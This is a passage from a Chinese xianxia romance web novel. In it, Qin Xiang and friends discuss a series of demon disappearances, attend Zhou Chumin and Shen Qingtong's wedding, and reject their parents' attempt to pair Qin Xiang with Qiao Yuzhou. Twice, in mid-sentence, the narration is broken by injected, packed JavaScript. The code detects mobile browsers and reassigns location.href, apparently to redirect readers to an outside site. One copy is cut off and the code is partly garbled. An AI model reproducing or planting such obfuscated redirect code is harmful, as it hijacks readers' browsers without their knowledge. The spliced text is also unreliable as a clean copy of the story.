“哦哦,好吧。”秦湘明了地点了点头。招呼闲话也就扯到这,恰巧小二端着食材上桌,看着桌上又多了的两个人,脚步一顿,惊讶道:“咦?这两位也是一起的吗?那客官你这锅底是要麻辣锅还是清汤锅?” 秦湘与乔玉州自然能吃辣,长锦跟着秦湘久了,也能吃辣。只不过三花就不行了,她是猫,向来不能吃辣。 “鸳鸯锅吧,一半清汤一半辣锅。”秦湘朝伙计笑了笑,说道,“有劳了,谢谢。” 菜很快就上齐了,秦湘在辣锅清汤锅中各下了一半的鱼,然后一半夹给了长锦,一半夹给了三花。长锦朝她微笑着道了谢,三花一见那勺白花花的鱼肉朝着她送过来,便赶紧起身双手端碗接过,笑道:“谢谢秦湘姐姐。” 秦湘放下筷子,也弯着眼睛笑了笑,“不用客气,多吃点。” 四人边吃边聊,虽然大部分时间都是秦湘与乔玉洲在聊,三花偶尔接话进来,长锦则完全就是不插话,只坐在那,安安静静地吃着碗里的东西。 “说起来,群英论剑大会你为什么会突然退赛啊?你一退赛,我和师兄都少了一个劲敌。” 乔玉洲毫不掩饰:“哦,因为那段时间是三花的百年雷劫,我要为她护法。” 渡雷劫,顾名思义,便是妖怪要渡过雷电的劫难。在妖界中,妖怪每过百年便要经历一次雷劫,一共九道,每成功度过一劫,妖怪的道行修为便能更进一步,直到完全通过九道,便算是成功修成了正果,灵力也会上升一个更强的高度。 “……”秦湘看着他这副模样,看来是与三花关系更近了,便也笑着摇了摇头,“好吧,哦,对了,说起来我有一件事想问你和三花,就是你们一直在追寻的那杀妖取丹之事到底是怎么回事?” 乔玉洲和三花对视了一眼,道,“怎么了?怎么好好地问起这个来了?” 秦湘叹了口气,将她与长锦在苍龙山的那些事情快速说了一遍。三花听到秦湘问她有没有关于那杀妖取丹之人的线索时,却摇了摇头道:“那人修为很高,做事又极为谨慎,我虽与他交过一次手,却完全不及他,所以才会落到人界来,等我再回去查探之时,已经没有留下任何线索了。” 闻言,秦湘抬起眼眸,问道:“怎么说?” 三花拿着筷子抱着饭碗,想了想,叹道:“这事说来就话长了。” 原来,在十年前江暮行那杀妖取丹夺取修为的事件之后,此类事件并非是没有再发生过,而是发生得极为隐秘。 因为不同那时沸沸扬扬,被杀的妖全是大妖,或是修为极其高,大规模地发生此类案件,自然更容易引起妖族族长们的注意。 在江暮行死后,此类案件虽然是消停了一段时间,但是若以此时的时间线来推算的话,在那之后最早又发生的一例妖怪失踪案,便是在八年前。 不过那次失踪被杀的妖怪并非大妖,大部分的就只是些妖族里最下层的小妖或是空有妖力却没有攻击能力压根不能提升修为的妖怪种类。 59.点鸳鸯谱 妖界的制度法则在某些程度上与人界相似,因为失踪的是小妖,且又不是大规模的,妖界官员们自然也没多在意。若是真要查起来,不仅费时费力,还要一层一层通报上级妖怪官员,到最后再传到妖族五族族长们手中。 且那段时间妖族因为江暮行杀妖取丹之事失去了太多大妖以致元气大伤,五族族长也因此十分烦心,若是这时候再去跟族长们说又有妖怪失踪案,那无疑是撞枪尖上,定是要发怒的。没妖敢在这种时候再去和族长们说这种话,然后承接他们的怒火。 于是那些妖怪官员们一商量,便就这么想了,失踪的是小妖,数量又不多,万一就是随便出去玩去了呢,闹不出什么风险来的。退一万步来讲,到时候要真是事情闹大了,是真的又出现了杀妖取丹修为被夺的事,那就到时候再说呗。想到这,他们便以“已经写了文书上报给族长了,不过流程复杂,需要时间,请耐心等候”为由,随便打发了那些来报案的低层小妖怪。 这样的事情一拖再拖,一滚再滚。直到两年后,那些小妖们终于忍不住他们的敷衍了,既是无奈又是气愤,于是一起联名,千里迢迢来了妖族五族议事地,拦下了正好集完会走出来的五族族长。至此,这件事情才算是暴露在了众妖面前。 然而,五族族长们除了猫族之外,几乎都不大愿意相信这件事,因为在他们眼中,江暮行伏诛那是他们亲眼所见。而且也正如前面那些妖族官员们所言,失踪的都是些小妖怪,妖力低微且之间又没有特别的联系,在派遣了手下前去查探且无果之后,自然也就没放在心上。 将这件事挂在心上的只有猫族,三花暗中走访了那些失踪相关的小妖怪,收集线索,整理成档,回来与猫族族长一商讨,还是觉得这并不是一起普通的失踪案,如若是自己走失或者不慎去往人间被修仙者捉了,也只是少之又少极个别的情况,怎会连续好些年都有这种情况发生?一件两件甚至十件是偶然,但若是加起来上百件呢,就不是偶然了。 如此,三花与猫族族长便留心了,开始探查这些失踪案件。终于在两年后的一个晚上,两妖在调查的时候刚好与那抓妖的凶手碰了个正着,两方交手,猫族族长遭了暗算,受了伤,于是三花便一妖追随着那黑衣人而去,却没想到那人修为如此之高,结果,就这样受了伤来了人间被乔玉洲捡到。 后来,三花伤好之后回了妖界,在五族族长聚首的集议会上,将这件事说了出来。可殿内一众妖界高层对此事件却只觉得猫族在小题大做。证据稀少,又没抓住凶手,只是走丢几只小妖怪而已,又不是什么修为极高的一方大妖,而且因为六年前那件杀妖取丹的事,妖族本就实力大打折扣,这种时候再因为这种事情去与修仙界交涉,不管交涉成功与否,结果只会是吃亏的。 所以到最后,不仅其他族长们不同意再调查这件事,还勒令猫族也必须停止调查且以后不能再提起这件事情。但三花和猫族族长还是觉得这事蹊跷,就算不与修仙界交涉,只是为了给那些低层孤立无援的小妖怪们一个交代,她也必须要查下去。 “所以,后来我经常往返于人界妖界,但是又是三年马上就四年过去了,那个人藏得真的太深了,”三花叹了口气道,“可能是那天晚上我与他交手终究还是打草惊蛇了,那凶手知道有人在调查这件事了,就更为小心谨慎了,这些年里,我从未放弃过对他的寻找,可是,毫无线索。”她说完之后,又抬眼向了秦湘,“对不起啊,秦湘姐姐,我帮不了你。” 此时线索太少,几乎没有。不过方才听三花说完这些,秦湘觉得三花与猫族长老想得确实是对的,这绝不可能是一件简单的妖怪失踪案,而且,她总觉得妖界对于这件事的态度未免有些太过奇怪。于是她思索片刻,问道:“三花,我想知道妖界失踪的那些妖怪都没有任何特殊之处吗?” 听她如此问,三花想了想,摇摇头道:“没有,我查过的,失踪的小妖怪分散于妖界各地,都是些法力低微的小精怪,就算是有法力稍微强悍些的,也不是主攻系妖怪,它们的能力最多就是让人做做梦,让树结结果,让草开开花而已。” 闻言,秦湘再次陷入了沉思,顿了一顿,她道:“三花,我觉得你可以把搜索角度放在那些失踪的妖怪上来,一个人所有的行为都有他的动机。假设,那凶手与三年前打开厄运之门的幕后之人是同一个,那他不会吃饱饭没事做平白无故地去抓那些平平无奇的小妖怪。” 三花一怔,随即细细想了一下,便明白了秦湘的意思。 是了,因为妖界曾经发生过一次这样的杀妖取丹夺取修为的事情,作为妖界之人,她自然就当局者迷了,所以在再次遇见这样的事情之前,虽然觉得他抓那么多小妖怪很奇怪,但她自然也还是会觉得那人是因为有了前车之鉴,不敢对修为高的大妖下手,故而抓那么多小妖怪,想来一个妖海战术?在数量上来抵那种修为高的大妖? 而秦湘作为旁观者,又经历了苍龙山的那件事,在做了这次抓妖事件与开厄运之门的是同一人的这个假设后,与三花看待问题的角度就自然不同了。 一个人做一件事,必须就要有他的动机或者目的,没有目的,没有动机,那他平白无故抓这么多小妖怪干什么?所以,站在凶手的角度来看这件事情,他这么做,如果不是因为要杀妖取丹夺取修为,那就应该是因为这些小妖怪中可能有他需要的某一种东西,而抓其他妖怪也许只是他故意混淆视线的一种手段。 三花面色凝重地看向秦湘,道:“秦湘姐姐,你的意思是,这些妖怪中有那人需要的东西?” “嗯,我是这么觉得的。” 乔玉洲在一旁听了两人的分析,也恍然大悟,“是啊,三花,如果以秦湘这个推理方向来看的话,好像是说得通的。之前我们一直都没往这个方向想过,说不定这确实是一条细节线索。” 三花默然了一瞬,仔细思量,秦湘想的确实是她之前没想过的,而且推理分析地确实也是十分合情合理。于是深吸了一口气,展颜笑道:“秦湘姐姐说的没错,等晚些我就给族长传条讯息过去,让他再去仔细查查这些年失踪的妖怪中到底有些什么特殊的。” “嗯嗯,如若有什么线索消息请务必告诉我一份,或者有什么需要我帮忙的,也尽管说。” “好,这是应该的,”三花点头应了,“还要谢谢秦湘姐姐给我提供思路线索,”她说着,又毫不掩饰地朝秦湘抛去星星眼,“真的,秦湘姐姐你太聪明了,一语道破的,我就该早点来找你的。” 秦湘是个不经夸的,被她这么一夸,此时也有些晕头转向了,挠挠头笑道:“是嘛。” 三花十分认真地点了点头:“是呀是呀。” 乔玉洲此时也没有再与她呛嘴了,也道:“是啊,秦湘你这回真是聪明了。” 三花满眼都是对她的崇拜这没什么,主要是乔玉洲这狗嘴里吐不出象牙的人竟然也会说她聪明。秦湘本来还想憋,但那个紧紧压下的嘴角此时却是憋不住了,她嘴角高高扬起,半晌,又轻咳一声,摆摆手道:“好了好了,我知道我很聪明,你们不用再强调了,哈哈哈哈。” 乔玉洲嘁了一声,丢下一句“你果然不能夸,一夸就开染坊”之后便不理她了,端着饭碗认认真真扒拉他的饭去了。秦湘也拿过筷子,半晌,还是没忍住,俯身凑头过去长锦身边悄声问道:“神君,我是不是很聪明?” “是的,非常聪明。”长锦笑了笑,夹起一旁的已经烫熟了的小鱼丸放进她碗里,“所以奖励你几颗小鱼丸,快吃吧,已经熟了。” 秦湘双手合十,也笑道:“好的~谢谢神君~” 四人吃饱喝足之后便回了腾岳之巅,谁知却刚好在山门前遇见了准备过来迎接乔家夫妇的秦叙与明萧长老。 “咦?师父,爹爹,你们怎么站在这儿?”秦湘走到两人面前,问道。 “你乔伯父乔伯母今日会过来,我和你师父正巧没事,索性便过来瞧瞧,等等,”秦叙说着,越过秦湘与长锦,看见了走在后边的乔玉洲与三花,“嗯?玉洲?你来了?你阿爹阿娘没和你一道?” 乔玉洲也带着三花走了过来,与两人见了一礼,回道:“阿爹阿娘还在山下镇子中闲逛,我们刚好在路上遇见了秦湘,便先过来了。” “噢噢,原来如此,那你先跟着阿湘去休息休息。阿湘,你听见没?好好招待玉洲。” “……”虽然秦湘很想说他都这么熟了,不需要她招待他都知道腾岳之巅哪是哪。但是腹诽归腹诽,鉴于爹爹曾明确与她强调过,在客人面前不许没礼貌。秦湘还是规规矩矩老老实实乖乖巧巧地朝着秦叙道,“听见了,听见了,那我们走了,爹爹再见,师父再见。” “走吧走吧,记得要招待好客人啊。”秦叙转身看向他们,再次强调道。 秦湘头也没回,高举着手摆了摆,表示自己已经知道了。 秦叙站在原地,看着几人的身影感慨地叹息一声。明萧长老听见他叹气,便问道:“掌门何故叹气啊?” “明萧啊,还是你好,楚闵和清桐那是从小就定下的缘分,也算是圆满了,转眼啊,二十年就这么过去了……”秦叙说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079137|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,接着感慨道,“阿湘如今也算是满了十七进十八的年纪了,也该快要到这谈婚论嫁的年纪了,也不知道啊,我什么时候才能像你一样喔……” 明萧长老顺着他的眼神望过去,不远处,秦湘乔玉洲走在中间,长锦和三花一左一右走在两人的身边,他若有所思地收回目光,笑了笑:“所以,掌门你觉得……” “我觉得不重要,明萧长老你觉得,阿湘和玉洲?两人走在一起是不是挺配的?”他说着,看了明萧长老一眼,言下之意,不言而喻。 “阿湘和玉洲?”明萧长老倒是认真地想了一想,才开口道,“这么放在一起看的话配确实是挺相配的,郎才女貌,年纪……我算算,玉洲今年应该是有二十一要进二十二的年纪了吧?” “是,明萧你没记错,玉洲在他们当中是最大的,比楚闵还要大一岁,与阿湘相差四岁,这差距要我说啊,刚刚好,年纪大点的男人成熟一些,会疼人。” 明萧长老闻言,便笑:“是,掌门你与我说说老实话,你是不是早就对玉洲颇为满意了?早就有这个心思想撮合阿湘和玉洲在一块了?” “嗐呀,”秦叙摆摆手,“玉洲也算是我从小看着长大的孩子,这孩子不错,与阿湘楚闵清桐也是一道玩到大的,我肯定是满意的,这还用说嘛。不过,我满意也只是我满意,到最后啊还是要看阿湘与玉洲是怎么想的。” “也是,”明萧长老赞同地点了点头,又突然想起方才跟在乔玉洲身边一道的那个姑娘,脑中灵光一闪,又道,“唉,说起来,掌门,你方才看见玉洲身旁跟着的那姑娘了吗?” “看见了,怎么了?” “也没什么,就是看见那姑娘,”明萧长老顿了顿,还是道,“我在想,玉洲不会有心仪的人了吧?不然好好地怎么会带个姑娘在身边呢?” 乔玉洲的那些所谓的花边新闻只在弟子之间流传,还未曾传到过长辈的耳中,所以他们并不知晓乔玉洲在弟子中是什么样的形象存在,也不知他曾在弟子之中说过三花是他道侣这件事。 所以,听闻明萧长老如此一说,秦叙颇为激动,一把将头转过回来,盯了他半晌,才道,“应该不能吧?我没听乔兄说起过玉洲有心仪的姑娘啊?明萧你定是看错了。” “好吧,我也就是这么随口一说,掌门不必放在心上。若是真的在意,等乔掌门和掌门夫人来了,你再好好问一问,看看他们是怎么说的,若是没有,确实可以相接触接触。” “嗯嗯,你说得对,等乔兄来了,我定要好好问一问,这可是我家阿湘的终身大事啊。”秦叙一边说着,一边又叹了口气。 日子一天一天地过去了,很快,便到了周楚闵和沈清桐成亲的日子了。 因为大家都不喜欢与不熟的人打交道,所以周楚闵与沈清桐的大婚,并没有宴请修仙界内各大小门派前来祝贺,尽管没那么热闹非凡,却胜在场上都是相熟相知的人,舒适自在。 虽然没有邀请那么多宾客前来上门祝贺,但是该有的礼数流程还是样样做到,毕竟是腾岳之巅明萧长老之子与鸿瑛长老爱徒喜结连理,这一切的用度那都是按照少主规格来操办的。 金色的阳光透过柔软云层,洒在了腾岳之巅内的每一个角落,今日的腾岳之巅内,红绸纱幔铺天盖地,锣鼓喧天鞭炮齐鸣,放眼望去,是一片喜庆祥和的艳丽。 清心殿前,红绸帷幔高高挂起。宾客们陆续前来,与站在门口的明萧长老鸿瑛长老还有秦叙几人贺喜致礼,几人面带笑意忙忙碌碌,一一接待了之后又相互恰聊客套了几句,之后才让弟子们将人引进大殿内坐下。 此时还未到吉时。房间内,沈清桐一袭火红嫁衣,韶光流传,不似她平日里素雅洁净的模样打扮,今日的她黛眉轻染,丹唇点翠,妆容娇艳,比起平时的温婉,更多了丝妩媚。 秦湘站在她身后,将那支金步摇簪入沈清桐的云鬓之间,又转而坐在她身边,看着铜镜内那个面若桃花笑意盈盈的女子,秦湘笑道:“这套头面我果然没选错,清桐姐姐带上可真好看。” 沈清桐转头看向她,将她的手拉过来放在膝盖上握住,拍了拍,“阿湘的眼光定是极好的,还要多谢阿湘,让阿湘破费了呢。” “没事没事,”秦湘赶紧摇头,“清桐姐姐喜欢就好,本来我还说要拿下群英论剑大会的魁首,将那几瓶珍品丹药一并拿给清桐姐姐你做嫁妆,可惜我也没想到最后会发生那样的事。” “没关系了啦,你楚闵师兄拿了也是一样的,这次是意外,我相信,以阿湘的实力,魁首不在话下。” 60.红绸喜宴 “嗯嗯,”看着沈清桐满脸开心幸福的笑意,秦湘也握紧了她的手,感慨道:“清桐姐姐,时间真的过得好快好快呀,你终于和师兄成亲了,师兄可真有福气。”顿了顿,没忍住,红了眼眶。 “阿湘,你怎么突然就哭了?”沈清桐看着她红了的眼眶,愣了一瞬,赶忙伸手抚上她的脸,为她轻轻拭去那眼角的泪,柔声道,“不要哭,不要哭,清桐姐姐又不会走,成亲了也会一直在腾岳之巅的,我们会一直在一起的。” 秦湘摇摇头,又吸吸鼻子,笑道:“我这是高兴地哭,我高兴。” “傻瓜,”沈清桐摸了摸她的头,“你这么容易哭,以后你成亲的时候不得哭得更凶啊?”她说着,下一刻便拉着她的手,笑道,“说起来,我们阿湘明年也要满十八了,不知道有没有心仪的人呀?” 听着她话里的打趣,秦湘的脸倏尔就红了,她脑海中突然浮现出一张俊雅至极的脸来,他支着头,目光温柔地看着她,好像不管什么时候,只要她一抬头,便能一直看见这道温柔的目光注视着她,给她所有回应。 沈清桐原本也是随口一说打趣她的,却没想到能看见秦湘这副模样。这一卡壳,这一脸红,这一沉默……在这诡秘的气氛当中,她还有什么不明白的,于是便惊奇道:“阿湘真有喜欢的人?是哪家公子?我们认识吗?” 见秦湘继续沉默不语,沈清桐猛然一顿,小小地“啊”了一声,道:“不会是席清长老吧?” “啊,清桐姐姐你不要说了,”秦湘一听到这个名字,便心口发烫起来,她又惊又羞地就想去捂沈清桐的嘴,可一想到沈清桐等下还要去参加婚礼,手伸到半路又生生地收了回来,跺脚道,“清桐姐姐,好姐姐,不要说了。” “好好好,我不说了,不说了,”沈清桐保证道,半晌,停顿了一下,又道,“阿湘,其实喜欢一个人并不是一件什么不好意思的事情,喜欢了就是喜欢了,没什么大不了的,不用害羞。” 秦湘沉默了片刻,突然道:“清桐姐姐,我想问你一个问题,喜欢一个人到底是什么样的感觉?” “嗯……大概就是每当看见对方,就会觉得莫名欢喜,没看见对方,就会无比思念。当他出现,就会占据你的视线,让你想关注对方的每一个举动,还总想对他好,想和他分享你的乐趣,也想了解关于他的一切。” 秦湘坐在一旁听着沈清桐说,她每说一条,她就在心中暗暗给自己掰下一个手指,直到说到最后一条,她叹了口气,没救了,全中!事实证明,她就是喜欢长锦!!到底是什么时候开始这大逆不道的思想的?他可是神明啊,她怎么可以对他有这种心思呢?就算说了,她和他会有结果吗? “而对我来说,”沈清桐不知道秦湘此时脑中在放烟花,她还在说着,目光温柔,如晨曦中的一缕暖阳,柔和而明媚,“喜欢,就是我想一直看见他。” 闻言,秦湘愣住了,她的思绪被拉回,她没有见过这个样子的沈清桐。好像从她很小的时候起,沈清桐与周楚闵便一直在一起了,她还从未见过沈清桐这么直白明确地表达出过对周楚闵的喜欢,她也不知道沈清桐到底是从什么时候开始喜欢上周楚闵的? 秦湘是个直接的人,她很好奇,于是便直接问了:“清桐姐姐,说起来,我都一直不知道,你是什么时候开始因为什么才喜欢上师兄的呀?” 沈清桐想了想,笑了笑:“因为那时我想看见他,而他也正好出现在我的世界里。” “嗯?”秦湘不明白,疑惑地看向沈清桐。 “我刚来腾岳之巅那段时日,终日抑郁寡欢,因为没办法从失去爹娘的恐惧中走出来,所以日日将自己锁在房间里,同门的师兄师姐们偶尔会来看我,但是因为我一直都是这样,所以他们也不知道拿我怎么办,渐渐地便不来了,只有一个人不管我同不同他说话,理不理他,他都会来。” 秦湘小声问:“就是师兄吧?” “是啊,”沈清桐微笑着,声音中的温润不可言说,她抬眼盯着那铜镜旁边覆着的红绸瞧了一会儿,半晌之后,她又将视线转了回来,放在了秦湘脸上,“我记得那天已经很晚了,可他却还是没有出现在我面前,我以为是我太漠然冷淡,连他也受不了了。其实我自己也讨厌那样的我,但是我没办法改变那时的我,我感觉我的时间在爹娘死去的那晚就停滞了,剩下的我就是一具躯壳。” 听她此时提起这些事,秦湘心中涩然,她怔了怔,抱住沈清桐轻轻拍了几下,温声道:“清桐姐姐,没事的,都过去了,以后我们都在。” 沈清桐看着她眼中的关切,也拍了拍她,示意没事,“嗯,我知道的,现在我已经看开了。有你们陪在我身边,我很开心。” “那后来呢?后来师兄那天晚上来了吧?” “嗯,他来了。我以为是他对我生厌了,但他却没有,我看着他急冲冲地朝我跑了过来,然后站在我面前,跟我说,对不起啊,因为跟着师父下山除祟,那妖邪难缠了些,所以来晚了。”沈清桐微笑着,“阿湘,你知道吗?你师兄说这些话的时候,我真的觉得他好傻,像个傻子。” 沈清桐虽然嘴上说着周楚闵傻,但秦湘看得出来,她眼里,满含的都是喜欢与幸福。 于是秦湘也笑,“所以清桐姐姐你就是那天晚上打开门,看见楚闵师兄风尘仆仆地站在你面前的那个瞬间,喜欢上他的?” “是的,”沈清桐点了点头,“所以对我而言,喜欢就是我想一直看见他。” 秦湘心中感慨,那种因为别人的幸福而感到开心的情绪将心填满。她道:“以后师兄也会一直在清桐姐姐身旁的,只要你想,他会一直在的,清桐姐姐你要一直幸福下去。” “嗯,阿湘也是,要一直幸福。” “咚咚咚,”房间的门扉被人敲响,有女弟子的声音在外面轻声响起,“秦师姐,沈师姐,吉时已到,该去清心殿了。” “好,这就来了。”秦湘起身,朝着外面道,说完,又转过头来,将一旁红木托盘上的红色金丝盖头拿起,“清桐姐姐,走吧,我带你去找师兄。” 沈清桐一笑,柔声应了,“好。” 清心殿外,周楚闵一袭大红喜服,站在殿门处不断地踱着步子张望着,一边张望,一边还不断做着深呼吸。乔玉洲站在他身边,看着他的这副样子,打趣道:“行了啊,放轻松,瞧你这副德性,我还从来没见过你这么紧张激动的样子呢。” 周楚闵深吸了一口气,脚步一顿,眼睛一亮,看见不远处秦湘携着一身嫁衣如火的沈清桐缓缓走来,他眨了眨眼睛,僵了一瞬,赶紧整理了一下自己的衣襟,又走到乔玉洲面前,急道:“你快看看,我还有没有哪里没整好的?衣服,头发,随便哪里都看看。” 乔玉洲噗嗤一声笑了出来,左右看了看他,笑道:“好得很,好得很,哪里都很好。你就是太紧张了,终于要把清桐娶回家了,心中高兴地都不知道自己是谁了吧?” “紧、紧张,原来成亲是这样的感觉,”周楚闵站定,叹道,“我感觉心脏都不是自己的了。” “好了好了,整理一下你的情绪,别抖了,”乔玉洲往那边瞧了一眼,“秦湘她们来了。” 人在着急的时候就会很忙,周楚闵往那边瞧了一眼,看着秦湘与沈清桐越走越近,只觉得自己一颗心也越跳越快,就快要跳出胸腔。他手脚无措地一顿忙活,这才赶紧在原地站定,带着期许与激动的心情看向那方。 秦湘扶着沈清桐走到两人身边,沈清桐盖着盖头,看不到这边方才的那一番光景,但秦湘眼睛可尖,老远便瞧见了她师兄在这左走右走,一副站立难安的样子。她笑道:“师兄,你知道吗?我从远处看着,你方才都同手同脚了。” “阿湘。”周楚闵心一咯噔,愣了一瞬,方才收拾的镇定倘然无存,“你莫要取笑我了。” “好好好,我不说了不说了,师兄你今天真俊朗,和清桐姐姐简直就是郎才女貌,绝配。” “好了,有什么话留着到时候再说吧,吉时已到,你们该进去了。”乔玉洲拿着一旁托盘的红绸走了过来,打断了这边两人的话头。 秦湘将那红绸拿在手里,一头递给周楚闵,一头递给沈清桐,顿了一顿,微笑道:“好了,师兄,清桐姐姐,你们进去吧。” 殿门缓缓开了,殿内宾客纷纷侧目而望。周楚闵做了个深呼吸,低眉垂眼看向身旁站着的沈清桐,心中柔软且甜蜜,他轻声道:“我们走吧,清桐。” 沈清桐看不见他的神情,但她知道,他此时的心情一定和她是一样的。她点点头,两人相携缓缓走进殿中。 一日为师,终生为母。作为沈清桐的师父,鸿英长老一早便与明萧长老一同坐在长辈席位上等着二人的到来。沈清桐与周楚闵在一旁司仪的主持下,跨过火盆与马鞍,等到了殿内二人的面前,便开始拜天地。 “一拜天地——” “二拜高堂——” “夫妻对拜——” 在司仪的指引与殿内所有宾客的见证下,二人三拜又三起,鸿英长老看着面前的爱徒,终究是没忍住,一声感叹,红了眼眶。明萧长老瞧着她,宽慰道:“鸿英啊,这个时候也不兴哭啊。” 鸿英长老笑了笑,抽出了块帕子擦了擦眼角,“我这是高兴啊,看着孩子们,我高兴。” 同样落泪的还有站在大殿门口的秦湘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看他认错求饶的速度挺快的份上,秦湘也没再和他多计较了,哼了一声,收回了拳头,两人便一同朝着殿内走去。而他们不知道的是,两人方才在殿门口的这一幕,正被殿内暗中观察着的秦叙与乔氏夫妇尽收眼底。 经过上次在山门口与明萧长老的一席肺腑之言的谈话之后,秦叙便觉得他言之极其有理,于是在乔氏夫妇过来了之后,便“旁敲侧击”地问了问二人关于乔玉洲的情况。 乔氏夫妇并不知道三花在自家儿子心中是心上人这样的存在,只知道自家儿子救回了一个妖族女子,但人妖相恋的情况在修仙界几乎没见过,而且自家儿子也从未说过自己有心仪女子这种事情,故而夫妇俩压根也没往这方面去想过。只当是自家儿子心善,这次三花与他们一起过来,还有一个原因也是三花认识秦湘,所以来的。 综上所云云,再加上这个年纪的人对于这个年纪的子女操心的也就那档子终身大事。故而在秦叙与乔氏夫妇俩才开口问了一句关于乔玉洲的事情时,夫妇俩对视一眼,立刻就表达了他们也想说说秦湘与乔玉洲的事。 于是双方家长一拍即合,想到一起去了。这十天半个月里,他们总是有意无意地观察着秦湘与乔玉洲,隔得远了,他们看不见也听不清两人到底是个什么情况,看是远远看着,就是觉得有戏!特别有戏! 就比如刚刚,站在身边的人才知道秦湘与乔玉洲方才发生了什么,可在他们看来,这就是秦湘看着周楚闵与沈清桐的婚宴,感动落泪,然后乔玉洲一下就关注到了她的情绪,还递上手帕。 秦叙很激动:“乔兄,你看见了吧?!” 乔掌门乔修远更激动:“看见了看见了!两只眼睛都看见了!!玉洲这小子,还算是有点脑子,挺会关心和照顾人的嘛!!他和阿湘,还真是挺般配的!!” 秦叙肯定道:“是啊是啊,看这个样子,我觉得他们俩之间有戏!” 乔夫人也笑道:“好了好了,你们小声些,孩子们过来了。” 秦叙笑道:“过来了正好,现在是个好机会,刚好问问孩子们自己对对方的想法。” 乔修远认同道:“是啊是啊,我们说得天花乱坠也没有用,最后还得看孩子们自己的想法。” 于是两个父亲一拍即合,看着秦湘与乔玉洲落在在长锦与三花那一桌,又是长锦与三花坐最边边上,秦湘与乔玉洲坐在两人中间的坐法。 其实这个坐法本身是没有任何问题的,因为一开始秦湘与乔玉洲作为四人中相连接的人,他俩坐中间才不会尴尬。但是此时落在本来就被假象蒙蔽了双眼的秦叙与乔氏夫妇眼中,问题可就大了! 两人忍了又忍,终于还是没忍住,找了个机会走了过来,坐在了几人的这一桌。 秦湘几人一脸茫然地看着对面跟做贼一样走过来坐在面前的两人,皆是一愣。 秦湘眨眨眼,莫名地觉得她爹和乔伯父脸上的笑容好可怕。乔玉洲看着对面自家老爹与秦伯父在自己与秦湘身上打量的目光,顿时也大感不妙,心中发毛。 场上的气氛一下陷入了诡秘的尴尬,秦湘忍了又忍,最终还是先开口了:“爹爹,乔伯父,你们这是在干嘛?是有什么事要说吗?” 61.进退失据 秦叙与乔修远对视一眼,皆是不约而同地轻咳一声。乔修远看着秦湘,问道:“阿湘,你觉得玉洲怎么样?” “嗯?”秦湘有些莫名其妙,但碍于长辈在场,想了一阵,老实道,“挺好的。” 然后秦叙也看向乔玉洲,语重心长地唤道:“玉洲啊。” 乔玉洲闻声抬眼看向他,在他没开口之间就先入为主了,轻声道:“秦伯父,你不会是想问我觉得秦湘怎么样吧?” 秦叙一顿,旋即笑开了,“是啊,乔兄你看,玉洲真聪明,所以你觉得阿湘怎么样?” 乔玉洲顿了顿,也捡用了秦湘的答案,回答道:“挺好的。” 秦湘端着杯子喝了一口茶,看着对面两人眼睛发亮欲言又止的样子,忍了忍,没忍住,奇怪道:“爹爹,乔伯父,你们到底想干什么呀?奇奇怪怪的今天。” 秦湘年纪小没经历过这种事,自然不知道长辈们心中打的算盘。乔玉洲坐在那,看着他爹和他乔伯父两人目光一直在他和秦湘身上徘徊,嘴角的笑意更是压不住,他便已经料到他们要说什么了,他下意识地想要打断,可终究慢了一步。 果不其然,只见他爹上下嘴皮子一动,开口就是一句:“乔伯父还想干什么呀,就是看着楚闵和清桐都已经成亲了,你和玉洲也到了该谈婚论嫁的年纪了,你是乔伯父看着长大的,方才你也说觉得玉洲很好,所以就想问问你,要不要做我儿媳妇?” 这话一出,除了他与秦叙是满脸期待与兴奋外,其余四人,皆是各有各的好看。 长锦与三花皆是一愣,脸上的表情瞬间凝固。 乔玉洲立即道:“爹!你在说什么胡话?!喝酒喝多了?!” 秦湘一口茶水差点呛死,猛地咳了一阵之后,才满脸惊愕道:“是啊,乔伯父,你不要开玩笑了,这玩笑可太吓人了。” 秦叙与乔修远又对视了一眼,也有些发愣,事情的发展怎么跟他们想象的不一样?秦湘与乔玉洲的反应不该是这样啊? 于是秦叙琢磨了一会儿,琢磨不出来,便直接说道:“你看你爹和你乔伯父像是开玩笑的样子吗?阿湘你不是觉得玉洲挺好的吗?玉洲你不也是觉得阿湘挺好的吗?怎么就是在开玩笑了?” 秦湘急了,她已经知道自己喜欢长锦这件事了,自然就不能允许自己与任何不相干的男的扯上这种方面的关系,相干的也不行。 于是她忙反驳道:“挺好的也只是挺好的啊,不能说因为我不喜欢他我就觉得他这个人不好了吧?相反的,我觉得他挺好的也不代表我就喜欢他啊。爹爹,乔伯父,我只是把乔玉洲当成朋友,绝对不能和他在一起。” 见他爹又要开口,乔玉洲也紧接着道:“是啊,爹,秦伯父,我觉得秦湘挺好的,也只是朋友妹妹般的好,我们太熟了,真的,我把她当亲妹妹看,你见过哪家哥哥能和亲妹妹在一起的吗?” “……”见两人反驳地如此激烈,对面二人也是呆了一瞬,半晌,还是不死心地问了一句,“真的没有一丝一毫的可能试试吗?万一你们就是这一对人呢?” “不可能,”秦湘与乔玉洲同时道,“一丝一毫的可能都不会有。” 听着两人默契十足又斩钉截铁的语气,秦叙与乔修远心中的那点希望算是彻底被打碎了,虽然他们是真的挺想做各自的亲家的,但是孩子们不愿意,他们又不能将人绑了去拜堂。 半晌,只能留下几句好吧好吧,我们只是提一提之类的云云,然后一边叹息一边不甘心地离去。 他们是走了,可这一桌上的气氛却因为这个话题开始莫名地诡异起来,尽管这个话题已经结束。桌上四人你看看我,我看看你,然后尴尬地笑一笑,心事重重地吃着碗里的饭菜,沉默…… 